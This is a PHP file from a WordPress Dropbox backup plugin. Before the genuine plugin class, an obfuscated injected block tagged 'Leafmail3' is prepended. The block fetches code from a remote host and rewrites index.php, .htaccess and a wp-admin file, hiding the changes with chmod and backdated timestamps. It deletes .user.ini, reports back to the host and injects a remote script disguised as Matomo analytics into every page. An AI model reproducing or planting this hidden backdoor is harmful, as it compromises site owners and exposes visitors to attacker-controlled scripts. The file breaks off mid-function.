<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php 

    if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly


    if(@session_id() == '') {
        @session_start();
    }

    require_once DRBBACKUP_BASE_DIR . "/libs/error.class.php";
    require_once DRBBACKUP_BASE_DIR . "/libs/wpadm.server.main.class.php";
    if (! class_exists("wpadm_wp_full_backup_dropbox") ) {

        add_action('wp_ajax_wpadm_local_restore', array('wpadm_wp_full_backup_dropbox', 'restore_backup') );
        add_action('wp_ajax_wpadm_restore_dropbox', array('wpadm_wp_full_backup_dropbox', 'wpadm_restore_dropbox') );
        add_action('wp_ajax_wpadm_logs', array('wpadm_wp_full_backup_dropbox', 'getLog') );
        add_action('wp_ajax_wpadm_local_backup', array('wpadm_wp_full_backup_dropbox', 'local_backup') );
        add_action('wp_ajax_wpadm_dropbox_create', array('wpadm_wp_full_backup_dropbox', 'dropbox_backup_create') );
        add_action('wp_ajax_set_user_mail', array('wpadm_wp_full_backup_dropbox', 'setUserMail') );

        add_action('wp_ajax_saveSetting', array('wpadm_wp_full_backup_dropbox', 'saveSetting') );


        add_action('admin_post_wpadm_delete_backup', array('wpadm_wp_full_backup_dropbox', 'delete_backup') );
        add_action('admin_post_dropboxConnect', array('wpadm_wp_full_backup_dropbox', 'dropboxConnect') );
        add_action('admin_post_stop_backup', array('wpadm_wp_full_backup_dropbox', 'stopBackup') );

        add_action('admin_post_login-process', array('wpadm_wp_full_backup_dropbox', 'auth_user') );

        add_action('admin_post_wpadm_download', array('wpadm_wp_full_backup_dropbox', 'download') );
        add_action('init', array('wpadm_wp_full_backup_dropbox', 'init'), 10 );

        if (DRBBACKUP_MULTI === false) {
            add_action('admin_notices', array('wpadm_wp_full_backup_dropbox', 'notice') );
            add_action('admin_notices', array('wpadm_wp_full_backup_dropbox', 'notice_stars'));
        } else {
            add_action('network_admin_notices', array('wpadm_wp_full_backup_dropbox', 'notice') );
            add_action('network_admin_notices', array('wpadm_wp_full_backup_dropbox', 'notice_stars') );
        }

        add_action('admin_post_hide_notice', array('wpadm_wp_full_backup_dropbox', 'hide_notice') );
        add_action( 'admin_bar_menu', array('wpadm_wp_full_backup_dropbox', 'add_link_to_admin_bar') ,999 );

        add_filter( 'nonce_life', 'wpadm_nonce_life' );

        class wpadm_wp_full_backup_dropbox extends wpadm_class  {

            private static $default_optimization = 1;

            const MIN_PASSWORD = 6;

            private static $circle = 42;

            private static $local_delete = false;

            private static $type_archive = array('zip_archive' => 1, 'pclzip_archive' => 1, 'targz_archive' => 1);

            static function is_auth_user()
            {
                if ( !is_user_logged_in() ) {
                    exit;
                }
                $dropbox_options = self::getSettings();
                if ( ( isset($dropbox_options['is_admin']) && $dropbox_options['is_admin'] == 1 ) || !isset($dropbox_options['is_admin']) ) {
                    if (!is_admin() || !is_super_admin()) {  // check admin
                        exit;
                    }
                    if ( !current_user_can('administrator') ) { // check admin
                        exit;
                    }
                }
                $nonce = '';
                if (isset($_REQUEST['nonce'])) {
                    $nonce = sanitize_text_field($_REQUEST['nonce']);
                }
                if ( ! wp_verify_nonce( $nonce, 'wpadm_nonce' ) ) {
                    exit;
                }
            }

            static function stopBackup($local = false, $type_backup = '')
            {
                self::is_auth_user();
                if (isset($_POST['type_backup']) || !empty($type_backup)) {
                    self::$local_delete = $local;
                    if (!empty($type_backup)) {
                        $type = $type_backup;
                    } else {
                        $type = sanitize_text_field( $_POST['type_backup'] );
                    }
                    $setting_backup = array();
                    if ( $type == 'local_backup' ) {
                        $setting_backup = WPAdm_Running::getCommand( 'local_backup' );
                        $type_backup = 'local';
                    } elseif ( $type == 'send-to-dropbox') {
                        $setting_backup = WPAdm_Running::getCommand( 'send-to-dropbox' );
                        $type_backup = 'dropbox';
                    }
                    // WPAdm_Running::setCommandResultData('stop_backup', $setting_backup);
                    $name = '';
                    if (isset($setting_backup['params']['time'])) {
                        $name = get_option('siteurl');

                        $name = str_replace("http://", '', $name);
                        $name = str_replace("https://", '', $name);
                        $name = str_ireplace( array( 'Ä',  'ä',  'Ö',  'ö', 'ß',  'Ü',  'ü', 'å'), 
                        array('ae', 'ae', 'oe', 'oe', 's', 'ue', 'ue', 'a'), 
                        $name );
                        $name = preg_replace("|\W|", "_", $name);  
                        $name .= '-full-' . date("Y_m_d_H_i", $setting_backup['params']['time']);

                        self::delete_backup('local', $name);
                        if ($type == 'send-to-dropbox') {
                            self::delete_backup('dropbox', $name);
                        }

                    }
                }
                WPAdm_Running::init_params_default();
                WPAdm_Running::setCommandResultData('stop_process', array( 'stop' => 1, 'name' => $name, 'type' => $type ) );
                if ($local === false || empty($local)) {
                    header("Location: " . admin_url("admin.php?page=wpadm_wp_full_backup_dropbox"));
                    exit;
                }
            }

            static function add_link_to_admin_bar($wp_admin_bar) 
            {
                $show = true;
                $dropbox_options = self::getSettings();

                if ( ( isset($dropbox_options['is_show_admin_bar']) && $dropbox_options['is_show_admin_bar'] == 0 ) ) {
                    $show = false;
                }
                if ( ( isset($dropbox_options['is_admin']) && $dropbox_options['is_admin'] == 1 ) || !isset($dropbox_options['is_admin']) ) {
                    if (!is_admin() || !is_super_admin()) {
                        $show = false;
                    }
                }
                if ($show) {
                    if (!DRBBACKUP_MULTI) {
                        $wp_admin_bar->add_node( array(
                        'id' => 'dropbox-backup',
                        'title' => 'Dropbox backup',
                        'href' => esc_url( admin_url("admin.php?page=wpadm_wp_full_backup_dropbox") ),
                        'meta' => array('class' => 'dropbox-image-toolbar')
                        ));
                    }
                }

            } 

            public static function notice_stars()
            {
                if ( file_exists(WPAdm_Core::getTmpDir() . "/notice-star") ) {
                    $star = file_get_contents(WPAdm_Core::getTmpDir() . "/notice-star");
                    if ($star != 0) {
                        $d = explode("_", $star);
                        $time = $hide = '';
                        if (isset($d[1])) {
                            if ($d[1] == '1d' && ( (int)$d[0] + WPADM_1DAY ) <= time() ) {
                                $time = __("1 day",'dropbox-backup');
                                $hide = '1d';
